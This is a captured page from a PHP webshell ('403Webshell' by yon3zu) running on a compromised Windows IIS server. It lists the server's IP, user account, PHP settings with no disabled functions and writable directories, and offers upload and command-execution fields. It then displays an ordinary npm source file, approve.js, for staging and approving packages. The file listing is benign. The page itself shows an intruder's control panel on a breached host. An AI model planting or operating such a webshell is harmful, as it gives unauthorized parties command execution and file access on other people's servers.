403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/nodejs/node_modules/npm/lib/commands/stage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/nodejs/node_modules/npm/lib/commands/stage/approve.js
const { log, output, META } = require('proc-log')
const npmFetch = require('npm-registry-fetch')
const { otplease } = require('../../utils/auth.js')
const { validateUUID } = require('../../utils/validate-uuid.js')
const BaseCommand = require('../../base-cmd.js')

class StageApprove extends BaseCommand {
  static description = 'Approve a staged package, publishing it to the npm registry'
  static name = 'approve'
  static usage = ['<stage-id>']
  static params = ['otp', 'registry']
  static positionals = 1

  async exec (args) {
    if (!args[0]) {
      throw this.usageError('Missing required <stage-id>')
    }
    const stageId = args[0]
    validateUUID(stageId, 'stage-id')
    const opts = { ...this.npm.flatOptions }

    log.notice('', `Approving staged package ${stageId}`)

    await otplease(this.npm, opts, o =>
      npmFetch.json(`/-/stage/${stageId}/approve`, {
        ...o,
        method: 'POST',
      })
    )

    output.standard(`Staged package ${stageId} approved and published successfully.`, { [META]: true, redact: false })
  }
}

module.exports = StageApprove

Youez - 2016 - github.com/yon3zu
LinuXploit